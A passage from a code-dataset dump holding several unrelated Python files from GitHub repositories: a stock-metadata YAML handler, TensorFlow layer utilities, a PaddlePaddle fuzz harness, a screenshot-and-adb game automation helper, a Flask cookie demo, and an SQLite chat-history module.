{use_prefixes()}\")\n\n print(f\"La somme des 100 premiers nombre premier est : {prime_integer_summation()}\")\n\n number = 10\n print(f\"La factiorelle du nombre {number} est: {factorial(number)}\")\n\n print(f\"L'affichage de la boucle est:\")\n use_continue()\n\n groups = [\n [15, 28, 65, 70, 72],\n [18, 24, 22, 50, 70],\n [25, 2],\n [20, 22, 23, 24, 18, 75, 51, 49, 100, 18, 20, 20],\n [70, 50, 26, 28],\n [75, 50, 18, 25],\n [13, 25, 80, 15],\n [20, 30, 40, 50, 60],\n [75, 50, 100, 28],\n ]\n print(f\"Les différents groupes sont: {groups}\")\n print(f\"L'acceptance des groupes est: {verify_ages(groups)}\")\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"INF1007-2021A/2021a-c01-ch5-exercices-kugiyasan","sub_path":"exercice.py","file_name":"exercice.py","file_ext":"py","file_size_in_byte":2372,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"13241308508","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\nimport os\nimport yaml\nimport logging\nimport tempfile\nfrom enum import Enum\nfrom datetime import date, datetime\n\nfrom dep.utils.lock_file import FileLock, FileLockException\n\nDATA_DIR = f\"data\"\nFILE_NAME = \"metadata.yaml\"\nMODULE_NAME = \"dep.utils.data_info_handler\"\nLOCKFILE_TIMEOUT = 60 # Wait for lock file 1 minute\n\n\nclass DataInfoHandlerException(Exception):\n \"\"\"\n Base class for errors in StockInfoCrawler\n \"\"\"\n def __init__(self, value):\n self.value = value\n\n\n def __str__(self):\n return repr(self.value)\n\n\nclass DataInfoTypeException(TypeError):\n \"\"\"\n Base class for type check\n \"\"\"\n def __init__(self, expected:type, receive):\n self.expected = expected\n self.receive = receive\n\n\n def __str__(self):\n return repr(f\"Expected {self.expected}, but receive {type(self.receive)}.\")\n\n\nclass MetaDataType(Enum):\n \"\"\"\n Type of metadata\n \"\"\"\n STOCK_INFO = \"stock-info\"\n STOCK_PRICE = \"stock-price\"\n\n\nclass MetaDataKey(Enum):\n \"\"\"\n Define key for metadata file.\n \"\"\"\n DATE = \"date\"\n FROM_DATE = \"from-date\"\n TO_DATE = \"to-date\"\n FILE_PATH = \"file-path\"\n RECORD_NUMER = \"record-number\"\n\n\n\"\"\"\nClock metadata file if needed\nhttps://programmer.group/a-python-implementation-of-lock-file.html\nSave file:\n1/ Normal\n- Crate .lock file\n- Save metadata file.\n- Delete .lock file\n2/ UnNormal\n- Wait for .lock file release.\n - If timeout => write to tmp file => throw Exception\n- Crate .lock file\n- Save metadata file.\n- Delete .lock file\n\"\"\"\nclass DataInfoHandler():\n \"\"\"\n Handler for data/data_info.yaml file.\n This file is store metadate for stock info csv files and stock price csv files crawled by automation.\n \"\"\"\n def __init__(self) -> None:\n self.log = logging.getLogger(MODULE_NAME)\n self.__data_dir = DATA_DIR\n self.__file_name = FILE_NAME\n self.__file = f\"{self.__data_dir}{os.sep}{self.__file_name}\"\n self.metadata = self.load_data()\n\n\n def load_data(self) -> dict:\n \"\"\"\n Load data from default file to self.data\n \"\"\"\n if os.path.isfile(self.__file):\n try:\n self.log.verbose(f\"Load metadata at {self.__file}.\")\n with open(self.__file, \"r\") as file:\n metadata = yaml.safe_load(file)\n self.__validate_metadata(metadata)\n except Exception as ex:\n self.log.error(f\"Exception occur: {ex}\")\n raise ex\n else:\n self.log.verbose(f\"File {self.__file} is not existed. Create new data.\")\n metadata = {MetaDataType.STOCK_INFO.value: {},\n MetaDataType.STOCK_PRICE.value: {}}\n return metadata\n\n\n def get_first_record(self, metadata_type:MetaDataType, stock_id:str) -> dict:\n \"\"\"\n Get the first record (the first item) of a stock id.\n If stock is not existed, return None\n \"\"\"\n if not isinstance(metadata_type, MetaDataType):\n raise DataInfoTypeException(MetaDataType, type(metadata_type))\n if not stock_id in self.metadata[metadata_type.value]:\n return None\n self.log.verbose(f\"Get the first record of '{stock_id}', type '{metadata_type.value}'\")\n return self.metadata[metadata_type.value][stock_id][0]\n\n\n def pop_record(self, metadata_type:MetaDataType, stock_id:str) -> dict:\n \"\"\"\n Return the first record (the first item) of a stock id if existed then remove it.\n \"\"\"\n if not isinstance(metadata_type, MetaDataType):\n raise DataInfoTypeException(MetaDataType, type(metadata_type))\n metadata_type = metadata_type.value\n if not stock_id in self.metadata[metadata_type]:\n return None\n record = self.metadata[metadata_type][stock_id].pop()\n return record\n\n\n def save_file(self):\n \"\"\"\n Save data to default file.\n If file existed:\n - Rename current file to *.old\n - Dump data\n - Remove *.old file\n - If execption occur, remove dumped file and rename *.old to metadata file\n If file not existed:\n - Dump data\n - If execption occur, remove dumped file.\n \"\"\"\n with FileLock(\"save_metadata\", timeout=LOCKFILE_TIMEOUT):\n try:\n self.__validate_metadata(self.metadata)\n if os.path.isfile(self.__file):\n self.log.verbose(f\"File {self.__file} is existed. Backup it.\")\n try:\n old_file = f\"{self.__file}.old\"\n os.rename(self.__file, old_file)\n with open(self.__file, \"w\") as file:\n yaml.dump(self.metadata, file, default_flow_style=False, sort_keys=False)\n self.log.verbose(f\"Done. Remove old file.\")\n os.remove(old_file)\n except Exception as ex:\n self.log.error(f\"Exception occur: {ex}\")\n os.remove(self.__file)\n os.rename(old_file, self.__file)\n raise ex\n else:\n self.log.verbose(f\"File {self.__file} is not existed. Create new.\")\n try:\n with open(self.__file, \"w\") as file:\n yaml.dump(self.metadata, file, default_flow_style=False, sort_keys=False)\n except Exception as ex:\n self.log.error(f\"Exception occur: {ex}\")\n os.remove(self.__file)\n raise ex\n except FileLockException as ex:\n self.log.warning(f\"Waiting for release file timeout, create temp file\")\n with open(tempfile.NamedTemporaryFile(), \"w\") as file:\n yaml.dump(self.metadata, file, default_flow_style=False, sort_keys=False)\n\n\n def append_metadata(self, *, metadata_type:MetaDataType, stock_id:str, crawl_date:datetime,\n from_date:date, to_date:date,\n file_path:str, record_number:int):\n \"\"\"\n Append new metadata of a file to default file\n \"\"\"\n if not isinstance(metadata_type, MetaDataType):\n raise DataInfoTypeException(MetaDataType, type(metadata_type))\n if not isinstance(stock_id, str):\n raise DataInfoTypeException(str, type(stock_id))\n if not isinstance(crawl_date, datetime):\n raise DataInfoTypeException(datetime, type(crawl_date))\n if not isinstance(from_date, date):\n raise DataInfoTypeException(date, type())\n if not isinstance(to_date, date):\n raise DataInfoTypeException(date, type(to_date))\n if not isinstance(file_path, str):\n raise DataInfoTypeException(str, type(file_path))\n if not isinstance(record_number, int):\n raise DataInfoTypeException(int, type(record_number))\n record = self.__record_builder(date=crawl_date, from_date=from_date, to_date=to_date,\n file_path=file_path, record_number=record_number)\n if not stock_id in self.metadata[metadata_type.value]:\n self.log.verbose(f\"Key {stock_id} is not existed! Create new\")\n self.metadata[metadata_type.value][stock_id] = []\n self.metadata[metadata_type.value][stock_id].append(record)\n else:\n self.metadata[metadata_type.value][stock_id].append(record)\n\n\n def show_data(self):\n \"\"\"\n Print data pretty. This function for testing.\n \"\"\"\n self.log.info(yaml.dump(self.metadata))\n\n\n def __record_builder(self, *, date:datetime, from_date:date, to_date:date,\n file_path:str, record_number:int):\n \"\"\"\n Verify and build a record (a dict)\n \"\"\"\n if (date.date() < to_date):\n raise DataInfoHandlerException(\n f\"date ({date}) must greater than to-date ({to_date}).\"\n )\n if (to_date < from_date):\n raise DataInfoHandlerException(\n f\"to-date ({to_date}) must greater than to-date ({from_date}).\"\n )\n if not os.path.isfile(file_path):\n raise DataInfoHandlerException(f\"File {file_path} is not existed.\")\n return {\n MetaDataKey.DATE.value: date,\n MetaDataKey.FROM_DATE.value: from_date,\n MetaDataKey.TO_DATE.value: to_date,\n MetaDataKey.FILE_PATH.value: file_path,\n MetaDataKey.RECORD_NUMER.value: record_number\n }\n\n\n def __validate_metadata(self, data:dict) -> bool:\n if not isinstance(data, dict):\n raise DataInfoTypeException(dict, data)\n for data_type in MetaDataType:\n if not data_type.value in data:\n raise DataInfoHandlerException(f\"Missing '{data_type.value}' in metadata.\")\n if not isinstance(data[data_type.value], dict):\n raise DataInfoTypeException(dict, data[data_type.value])\n if len(data[data_type.value]) == 0:\n continue\n null_stock = []\n for idx, stock in data[data_type.value].items():\n if not isinstance(stock, list):\n raise DataInfoTypeException(list, stock)\n if len(stock) == 0:\n null_stock.append(idx)\n continue\n for record in stock:\n self.__validate_record(record)\n if not os.path.isfile(record[MetaDataKey.FILE_PATH.value]):\n self.log.warning(f\"File {record[MetaDataKey.FILE_PATH.value]} is not existed. Remove record.\")\n stock.remove(record)\n if null_stock:\n self.log.warning(f\"Remove stock id with null: {', '.join(null_stock)}.\")\n for stock in null_stock:\n del data[data_type.value][stock]\n\n\n def __validate_record(self, record:dict):\n for key in MetaDataKey:\n if not key.value in record:\n raise DataInfoHandlerException(f\"Missing '{key}' in record.\")\n if not isinstance(record[MetaDataKey.DATE.value], datetime):\n raise DataInfoTypeException(datetime, record[MetaDataKey.DATE.value])\n if not isinstance(record[MetaDataKey.FROM_DATE.value], date):\n raise DataInfoTypeException(date, record[MetaDataKey.FROM_DATE.value])\n if not isinstance(record[MetaDataKey.TO_DATE.value], date):\n raise DataInfoTypeException(date, record[MetaDataKey.TO_DATE.value])\n if not isinstance(record[MetaDataKey.FILE_PATH.value], str):\n raise DataInfoTypeException(str, record[MetaDataKey.FILE_PATH.value])\n if not isinstance(record[MetaDataKey.RECORD_NUMER.value], int):\n raise DataInfoTypeException(int, record[MetaDataKey.RECORD_NUMER.value])\n # Check date\n if (record[MetaDataKey.DATE.value].date() < record[MetaDataKey.TO_DATE.value]):\n raise DataInfoHandlerException(\n f\"date ({record[MetaDataKey.DATE.value]}) must greater than to-date ({record[MetaDataKey.TO_DATE.value]}).\"\n )\n if (record[MetaDataKey.TO_DATE.value] < record[MetaDataKey.FROM_DATE.value]):\n raise DataInfoHandlerException(\n f\"to-date ({record[MetaDataKey.TO_DATE.value]}) must greater than to-date ({record[MetaDataKey.FROM_DATE.value]}).\"\n )\n","repo_name":"DangNguyenTranNgoc/Data-Engineering-Project","sub_path":"dep/utils/data_info_handler.py","file_name":"data_info_handler.py","file_ext":"py","file_size_in_byte":11677,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"54"} +{"seq_id":"8212105965","text":"import numpy as np\nimport tensorflow as tf\n\n\nclass MiniBatchData:\n def __init__(self, data_list, batch_size=100, shuffle=True):\n \"\"\"Create mini batches from the input data\n\n Args:\n data_list (list):\n List of data (numpy arrays or list) to be batched. The length of each element should be the same.\n batch_size (int):\n Size of the mini batch to be output. Must be a positive integer.\n shuffle (bool):\n Whether to perform random shuffling of the data.\n \"\"\"\n if len(set(len(d) for d in data_list)) != 1:\n raise ValueError('Sizes of the input data are different')\n if batch_size < 1:\n raise ValueError('Batch size must a positive int')\n\n self.batch_size = batch_size\n self._idx = 0\n self._len = len(data_list[0])\n\n if shuffle:\n idx = np.arange(self._len)\n np.random.shuffle(idx)\n self._data_list = [d[idx] for d in data_list]\n else:\n self._data_list = data_list\n\n def next(self):\n \"\"\"Get the next mini batch.\n\n Returns (list):\n List of mini-batched data. The length of the list is the same as the input data_list.\n The size of each element equals to the batch_size.\n \"\"\"\n start_idx = self._idx\n end_idx = self._idx + self.batch_size\n self._idx = end_idx % self._len\n if end_idx <= self._len:\n return [d[start_idx:end_idx] for d in self._data_list]\n else:\n all_idx = np.arange(start_idx, end_idx) % self._len\n return [d[all_idx] for d in self._data_list]\n\n\nclass FCLayer:\n def __init__(\n self,\n input_tensor,\n output_size,\n name='fc-layer',\n weight_init_std=None,\n activation_func=None,\n ):\n \"\"\"A fully connected network layer.\n\n Args:\n input_tensor (tf.Tensor): The input tensor to the layer.\n output_size (int): Size of the layer's output.\n name (str): Name of the layer.\n weight_init_std (float):\n The stddev for the initial weight of the layer (randomly initialized with normal distribution).\n If None it uses a simple heuristic of sqrt(6.0 / (input_size + output_size)).\n activation_func (function):\n Activation function applied to the output. If None, no activation is applied (linear layer).\n \"\"\"\n self.input = input_tensor\n self.input_size = input_tensor.get_shape().as_list()[1]\n with tf.name_scope(name):\n if weight_init_std is None:\n weight_init_std = np.sqrt(2.0 / self.input_size)\n self.weight = tf.Variable(tf.truncated_normal([self.input_size, output_size], stddev=weight_init_std))\n self.bias = tf.Variable(tf.zeros([output_size]))\n lin_output = tf.matmul(input_tensor, self.weight) + self.bias\n if activation_func is None:\n self.output = lin_output\n else:\n self.output = activation_func(lin_output)\n\n @property\n def l2_loss(self):\n \"\"\"Return the l2 loss of the current layer's weight\"\"\"\n return tf.nn.l2_loss(self.weight)\n\n\nclass LogRegLayer(FCLayer):\n def __init__(\n self,\n input_tensor,\n output_size=2,\n name='logreg-layer',\n ):\n \"\"\"A logistic regression layer.\n\n Args:\n input_tensor (tf.Tensor): The input tensor to the layer.\n output_size (int): Size of the layer's output (i.e. the number of output classes).\n name (str): Name of the layer.\n \"\"\"\n super().__init__(\n input_tensor,\n output_size=output_size,\n name=name,\n weight_init_std=0,\n activation_func=None,\n )\n\n @property\n def softmax(self):\n \"\"\"Softmax of the layer output.\"\"\"\n return tf.nn.softmax(self.output)\n\n @property\n def labels_pred(self):\n \"\"\"Most probable label predicted.\"\"\"\n return tf.argmax(self.softmax, 1)\n\n def cross_entropy(self, true_labels):\n \"\"\"Cross entropy of the predictions to the true labels\n\n Args:\n true_labels (tf.Tensor): True labels of the data, an 1D Tensor for the integer labels (e.g. [1, 0, 1, 2])\n\n Returns (tf.Tensor):\n Cross entropy\n \"\"\"\n return tf.nn.sparse_softmax_cross_entropy_with_logits(logits=self.output, labels=true_labels)","repo_name":"fcchou/tensorflow_models","sub_path":"tensorflow_models/util.py","file_name":"util.py","file_ext":"py","file_size_in_byte":4550,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"54"} +{"seq_id":"29350701620","text":"\"\"\"\r\nCopyright (c) 2021 Baidu.com, Inc. All Rights Reserved\r\nThis module provides an example for paddle.nn.functional.unfold.\r\n\"\"\"\r\nimport sys\r\nimport atheris_no_libfuzzer as atheris\r\nimport paddle\r\nimport os\r\nfrom fuzz_util import Mutator, IgnoredErrors\r\n\r\n# Switches for logging and ignoring errors.\r\nLOGGING = os.getenv('PD_FUZZ_LOGGING') == '1'\r\nIGNORE_ERRS = os.getenv('IGNORE_ERRS') == '1'\r\n\r\n\r\ndef TestOneInput(input_bytes):\r\n m = Mutator(input_bytes, LOGGING)\r\n\r\n x, rank = m.tensor_with_diff_shape(\r\n min_val=0.0, max_val=30.0, min_dim=0, max_dim=10, max_rank=5)\r\n kernel_size = m.int_range(0, 20, 'kernel_size')\r\n strides = m.int_range(0, 20, 'strides')\r\n paddings = m.int_range(0, 20, 'paddings')\r\n dilation = m.int_range(0, 20, 'dilation')\r\n\r\n if IGNORE_ERRS:\r\n try:\r\n paddle.nn.functional.unfold(\r\n x,\r\n kernel_size,\r\n strides=strides,\r\n paddings=paddings,\r\n dilations=dilation)\r\n except IgnoredErrors:\r\n pass\r\n else:\r\n paddle.nn.functional.unfold(\r\n x,\r\n kernel_size,\r\n strides=strides,\r\n paddings=paddings,\r\n dilations=dilation)\r\n\r\n\r\ndef main():\r\n atheris.Setup(sys.argv, TestOneInput, enable_python_coverage=True)\r\n atheris.Fuzz()\r\n\r\n\r\nif __name__ == \"__main__\":\r\n main()\r\n","repo_name":"PaddlePaddle/PaddleSleeve","sub_path":"CodeSecurity/fuzzing/op_fuzzing/functional_unfold_fuzz.py","file_name":"functional_unfold_fuzz.py","file_ext":"py","file_size_in_byte":1402,"program_lang":"python","lang":"en","doc_type":"code","stars":71,"dataset":"github-code","pt":"54"} +{"seq_id":"37528261274","text":"# 详细操作: 图片处理、行为运行、状态判断等\n\nimport time,os\nimport numpy as np\nfrom PIL import ImageGrab,Image\n\nclass Handle:\n def __init__(self):\n self.debug = False\n self.box = (3,43,483,823) # 完整截图区域\n self.box_view = (0, 120, 460, 580) # 神经网络的视觉区域\n self.box_reward = (144, 20, 334, 90)# 比分板区域\n self.image = None # 未初始化的截图\n self.image_view = None # 未初始化的神经网络视野\n self.image_reward = None # 未初始化的分数板区域\n self.state = [] # 初始化状态\n self.score_previous = 0 # 之前的分数\n\n def getimage(self):\n self.image = ImageGrab.grab(self.box).convert('L')\n self.image_view = self.image.crop(self.box_view)\n self.image_reward = self.image.crop(self.box_reward)\n\n if self.debug:\n self.image.save('./log/screen.png')\n self.image_view.save(f'./log/state.png')\n self.image_reward.save('./log/reword.png')\n\n def getstate(self):\n self.state = []\n for _ in range(4):\n time.sleep(0.06)\n self.getimage()\n self.state.append(self.image_view)\n self.state = np.stack(self.state,axis=0)\n\n def action(self,action):\n score = self.getscore()\n\n judge = self.judge()\n\n if score is not None and judge!=0:\n if action==0:\n os.system('nox_adb.exe shell input tap 130 640')\n print('选左边')\n else:\n os.system('nox_adb.exe shell input tap 360 640') # 选右边\n print('选右边')\n reward = float(judge)*0.6 + int(score)*0.4\n print(f'score:{score},judge:{judge},reward:{reward}')\n self.getstate() # 下一个状态\n return self.state,reward,0\n else:\n return None,None,1\n\n def getscore(self):\n image_one = self.image_reward.crop((0,0,72,70))\n for _,_,filename in os.walk('./source/one'):\n for file in filename:\n name = os.path.join('./source/one',file)\n image = Image.open(name)\n if self.similar(image_one,image)>90:\n return int(file.replace('.png',''))\n print('No matching')\n return None\n\n\n def judge(self):\n if self.similar(self.image.crop((150, 570, 330, 630)), Image.open('./source/restart.png')) > 90:\n os.system('nox_adb.exe shell input tap 240 600') # 重新开始\n print('重新开始')\n return 0 # 无操作\n if self.similar(self.image.crop((150, 620, 330, 670)), Image.open('./source/loss_continue.png')) > 90:\n os.system('nox_adb.exe shell input tap 80 623') # 丢分点击\n print('失分惩罚')\n return -2 # 惩罚\n if self.similar(self.image.crop((150, 620, 330, 670)), Image.open('./source/get_continue.png')) > 90:\n os.system('nox_adb.exe shell input tap 240 400') # 得分点击\n print('得分奖励')\n return 2 # 奖励\n # if self.similar(self.image.crop((110,620,390,665)), Image.open('./source/wait.png')) > 90:\n # os.system('nox_adb.exe shell input tap 240 400') # 得分点击,对战模式\n # print('得分奖励')\n # return 2 # 奖励\n if self.similar(self.image.crop((170,590,360,620)), Image.open('./source/nextoppent.png'))>90:\n os.system('nox_adb.exe shell input tap 250 610') # 点击挑战下一个对手\n print('挑战下一个对手')\n return 4 # 奖励\n if self.similar(self.image.crop((170,675,310,705)), Image.open('./source/skip.png'))>90:\n os.system('nox_adb.exe shell input tap 230 700') # 跳过看视频复活\n print('跳过看视频复活')\n time.sleep(0.5)\n return 0 # 无操作\n if self.similar(self.image.crop((170,640,310,670)), Image.open('./source/video_skip.png'))>90:\n os.system('nox_adb.exe shell input tap 235 660') # 跳过看视频奖励\n print('跳过看视频奖励')\n return 0 # 无操作\n if self.similar(self.image.crop((420,250,470,300)), Image.open('./source/x.png'))>90:\n os.system('nox_adb.exe shell input tap 445 285') # 关闭向朋友推荐\n print('关闭向朋友推荐')\n return 0 # 无操作\n\n if self.similar(self.image.crop((34,560,90,615)), Image.open('./source/rechallenge.png'))>90:\n os.system('nox_adb.exe shell input tap 60 600') # 重新挑战\n print('重新挑战')\n return 0 # 无操作\n return 0.1\n\n\n\n @staticmethod\n def similar(image_1,image_2):\n lh, rh = image_1.histogram(), image_2.histogram()\n ret = 100 * sum(1 - (0 if l == r else float(abs(l - r)) / max(l, r)) for l, r in zip(lh, rh)) / len(lh)\n return ret\n\n\n\n\nif __name__=='__main__':\n import time\n operate = Handle()\n operate.getstate()\n\n for i in range(400):\n time.sleep(1)\n operate.getimage()\n operate.judge()\n\n\n\n\n","repo_name":"ckfanzhe/play_wechatgame_with_DQN","sub_path":"Handle.py","file_name":"Handle.py","file_ext":"py","file_size_in_byte":5289,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"54"} +{"seq_id":"19443006727","text":"'''\n- 响应格式的设置\n- MIME类型参考:http://www.w3school.com.cn/media/media_mimeref.asp\n - text/plain : 纯文本\n - text/html : html\n - application/json : json\n - text/xml : xml\n'''\n\n# -*- coding: utf-8 -*-\n\n# 引入make_response方法\nfrom flask import Flask, jsonify, request\nfrom flask import make_response, redirect\n\napp = Flask(__name__)\n\n\n# 使用make_response方法生成响应对象\n# 这个响应对象默认实例化内置的Response对象\n# 参数为响应的主体\n# 使用response对象的minetype属性设置MIME类型\n@app.route('/foo')\ndef foo():\n\tresponse = make_response(\"Hello Flask\")\n\tresponse.mimetype = 'text/plain'\n\treturn response\n\t# return jsonify({\"name\": \"shansan\"})\n\n\n# http://yourdomain/hello?name=shansan\n# Cookie可以通过请求对象的cookies属性获取\n@app.route('/')\n@app.route('/hello')\ndef hello():\n\tname = request.args.get('name')\n\tif name == None:\n\t\tname = request.cookies.get('name','boy') # 默认值为boy\n\treturn '

Hello, %s

' % name\n \n\n\n# 使用set_cookie方法来设置cookie \n@app.route('/set/')\ndef set_cookies(name):\n\tresponse = make_response(redirect('hello'))\n\tresponse.set_cookie('name', name)\n\treturn response\n\n\n","repo_name":"yeshan333/Web-Learn","sub_path":"2-http/2_2/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1247,"program_lang":"python","lang":"zh","doc_type":"code","stars":4,"dataset":"github-code","pt":"54"} +{"seq_id":"41703316249","text":"'''\nEach step the motor takes the following data needs to be recorded:\n1. step number\n2. time stamp\n3. servo angle input\n\nFrom this the actual angle of the servo can be calculated from the servo speed and time stamp.\n\nThis module simulates an input of 20 degrees for 1 second then an input of 10 degrees for another 1 second.\n'''\n\nimport time\n\nservoSpeed = 20 # deg/s\narray = []\nlol = []\n\nt0 = time.time()\ninputAngle = [20] * 10 + [10] * 10\nactualAngle = 0\n\n\nfor i in range(0,20):\n t = time.time()-t0 # current time\n\n if abs(actualAngle-inputAngle[i])>0.5: # half a degree tolerence\n try:\n actualAngle += (servoSpeed * (t-array[i-1][3])) * (abs(inputAngle[i]-actualAngle)/(inputAngle[i]-actualAngle))\n except:\n actualAngle = 0\n\n array.append([i+1,inputAngle[i],actualAngle,t])\n lol.append([inputAngle[i],actualAngle])\n time.sleep(0.1)\n\nprint(lol)","repo_name":"deeboss/python-js-dolly-cam-app","sub_path":"sandbox/servoMotorTest.py","file_name":"servoMotorTest.py","file_ext":"py","file_size_in_byte":899,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"54"} +{"seq_id":"40975539441","text":"from empower.main import main\n\n\nif __name__ == \"__main__\":\n\n # Default modules\n ARGVS = ['restserver.restserver',\n 'lvnfp.lvnfpserver',\n 'lvapp.lvappserver',\n 'vbspp.vbspserver',\n 'energinoserver.energinoserver',\n 'lvap_stats.lvap_stats',\n 'vbspp.vbsp_mac_stats',\n 'events.wtpdown',\n 'events.wtpup',\n 'events.lvapleave',\n 'events.lvapjoin',\n 'events.vbspup',\n 'counters.packets_counter',\n 'counters.bytes_counter',\n 'maps.ucqm',\n 'maps.ncqm',\n 'triggers.rssi',\n 'triggers.summary',\n 'events.cppdown',\n 'events.cppup',\n 'events.lvnfjoin',\n 'events.lvnfleave',\n 'lvnf_ems.lvnf_get',\n 'lvnf_ems.lvnf_set',\n 'lvnf_stats.lvnf_stats',\n ]\n\n main(ARGVS)\n","repo_name":"herlesupreeth/Empcontroller","sub_path":"empower-runtime.py","file_name":"empower-runtime.py","file_ext":"py","file_size_in_byte":955,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"7662003716","text":"import random\nclass BigCat:\n def __init__(self):\n self.speed = 5\n self.strength = 5\n self.intelligence=5\n self.durability=5\n self.health=5\n\nclass Lion(BigCat):\n def __init__(self):\n self.strength=50\n self.health=50\n\n def king(self, bigcat):\n if isinstance(bigcat,Cheetah) :\n if random.random() < .6:\n return \"The cheetah has gotten away\"\n else:\n bigcat.health = 0\n return \"The cheetah has been defeated by the Lion\"\n else:\n bigcat.health=0\n return \"The big cat has been defeated by the Lion\"\n\nclass Leopard(BigCat):\n def __init__(self):\n self.strength =30\n self.health =30\n self.intelligence =30\n\n def attack(self,bigcat):\n if isinstance(bigcat,Lion):\n bigcat.king(self)\n elif isinstance(bigcat,Cheetah) :\n if random.random() < .6:\n return \"The cheetah has gotten away\"\n else:\n bigcat.health = 0\n return \"The cheetah has been defeated by the Leopard\"\n else:\n bigcat.health -= 15\nclass Cheetah(BigCat):\n def __init__(self):\n self.speed =75\n self.strength =25\n self.intelligence=25\n self.durability=25\n self.health=25\n def run(self,bigcat):\n if isinstance(bigcat,Leopard):\n bigcat.attack(self)\n elif isinstance(bigcat,Lion):\n bigcat.king(self)\n else:\n return \"There has been stalemate between two cheetahs\"\n \n# Basically this is what the assignment was supposed to look like. \n# From this point on it was your job to take the code and build a game out of it.\n","repo_name":"abshir24/HomeworkAnswers","sub_path":"pythonhw4.py","file_name":"pythonhw4.py","file_ext":"py","file_size_in_byte":1744,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"34293767606","text":"import functools\nimport operator\nimport sqlite3\n\nimport utils\n\nFIELDS_TO_EDIT = ('messages_sent', 'messages_recieved', 'system_message', 'temperature')\n\n\ndef get_connection():\n con = sqlite3.connect('message_history.db')\n cur = con.cursor()\n return con, cur\n\n\ndef establish_database():\n con, cur = get_connection()\n cur.execute('''CREATE TABLE message_history\n (id INTEGER PRIMARY KEY AUTOINCREMENT,\n chat_id NOT NULL,\n messages_sent DEFAULT ' ',\n messages_recieved DEFAULT ' ',\n system_message DEFAULT 'You are a helpful assistant',\n temperature DEFAULT 0.5,\n tokens_used INTEGER)\n ''')\n con.commit()\n con.close()\n\n\ndef update_user_data(data: dict, chat_id):\n con, cur = get_connection()\n if 'temperature' in data.keys():\n to_update = [data.get('temperature'), chat_id]\n cur.execute('''UPDATE message_history SET temperature = ? WHERE chat_id = ? ''', to_update)\n con.commit()\n if 'message_sent' in data.keys():\n to_update = [data.get('message_sent'), chat_id]\n cur.execute('''UPDATE message_history SET messages_sent = messages_sent||'<&>'||? WHERE chat_id = ?''', to_update)\n con.commit()\n if 'message_recieved' in data.keys():\n to_update = [data.get('message_recieved'), chat_id]\n cur.execute('''UPDATE message_history SET messages_recieved = messages_recieved||'<&>'||? WHERE chat_id = ?''', to_update)\n con.commit()\n if 'system_message' in data.keys():\n to_update = [data.get('system_message'), chat_id]\n cur.execute('''UPDATE message_history SET system_message = ? WHERE chat_id = ? ''', to_update)\n con.commit()\n con.close()\n\n\ndef get_current_user_tokens(chat_id: int, cur):\n chat_id = [chat_id]\n current_tokens = cur.execute('''SELECT tokens_used FROM message_history WHERE chat_id = ?''', chat_id).fetchall()\n if current_tokens[0][0]:\n return current_tokens[0][0]\n return 0\n\n\ndef update_user_tokens(chat_id, usage, con, cur):\n current_usage = get_current_user_tokens(chat_id, cur)\n if current_usage != 0:\n total = usage + current_usage\n else:\n total = usage\n total = [total, chat_id]\n cur.execute('''UPDATE message_history SET tokens_used = ? WHERE chat_id = ? ''', total)\n con.commit()\n\n\ndef insert_new_user(chat_id):\n con, cur = get_connection()\n data = [chat_id]\n cur.execute('''INSERT INTO message_history (chat_id) VALUES (?)''', data)\n con.commit()\n con.close()\n\n\ndef clean_user_settings(chat_id):\n con, cur = get_connection()\n data = [chat_id]\n cur.execute('''UPDATE message_history SET temperature = 0.5 WHERE chat_id = ? ''', data)\n cur.execute('''UPDATE message_history SET system_message = '' WHERE chat_id = ? ''', data)\n con.commit()\n con.close()\n\n\ndef clean_user_history(chat_id):\n con, cur = get_connection()\n data = [chat_id]\n cur.execute('''UPDATE message_history SET messages_sent = '' WHERE chat_id = ? ''', data)\n cur.execute('''UPDATE message_history SET messages_recieved = '' WHERE chat_id = ? ''', data)\n con.commit()\n con.close()\n\n\ndef check_current_user_tokens(chat_id, usage):\n con, cur = get_connection()\n update_user_tokens(chat_id, usage, con, cur)\n current_usage = get_current_user_tokens(chat_id, cur)\n if current_usage > 2000:\n messages_sent = cur.execute('''SELECT messages_sent FROM message_history WHERE chat_id = ?''', [chat_id]).fetchall()\n messages_sent = functools.reduce(operator.add, messages_sent[0])\n messages_recieved = cur.execute('''SELECT messages_recieved FROM message_history WHERE chat_id = ?''', [chat_id]).fetchall()\n messages_recieved = functools.reduce(operator.add, messages_recieved[0])\n data_new_sent = [utils.cut_string_beginning(messages_sent), chat_id]\n data_new_recieved = [utils.cut_string_beginning(messages_recieved), chat_id]\n cur.execute('''UPDATE message_history SET messages_sent = ? WHERE chat_id = ? ''', data_new_sent)\n cur.execute('''UPDATE message_history SET messages_recieved = ? WHERE chat_id = ? ''', data_new_recieved)\n con.commit()\n deleted_sent = utils.cut_string_end(messages_sent)\n deleted_recieved = utils.cut_string_end(messages_recieved)\n freed_tokens = utils.get_token_count(deleted_sent) + utils.get_token_count(deleted_recieved)\n freed_tokens = (0 - freed_tokens)\n update_user_tokens(chat_id, freed_tokens, con, cur)\n con.close()\n\n\ndef get_sent_messages(chat_id):\n con, cur = get_connection()\n chat_id = [chat_id]\n sent = cur.execute('''SELECT messages_sent FROM message_history WHERE chat_id = ?''', chat_id).fetchall()\n if sent[0][0]:\n sent = str(sent).split('<&>')\n sent_journal = []\n for item in sent:\n sent_journal.append({'role': 'user', 'content': item})\n con.close()\n return sent_journal\n\n\ndef get_recieved_messages(chat_id):\n con, cur = get_connection()\n chat_id = [chat_id]\n recieved = cur.execute('''SELECT messages_recieved FROM message_history WHERE chat_id = ?''', chat_id).fetchall()\n if recieved[0][0]:\n recieved = str(recieved).split('<&>')\n recieved_journal = []\n for item in recieved:\n recieved_journal.append({'role': 'assistant', 'content': item})\n con.close()\n return recieved_journal\n\n\ndef get_system_message(chat_id):\n con, cur = get_connection()\n chat_id = [chat_id]\n 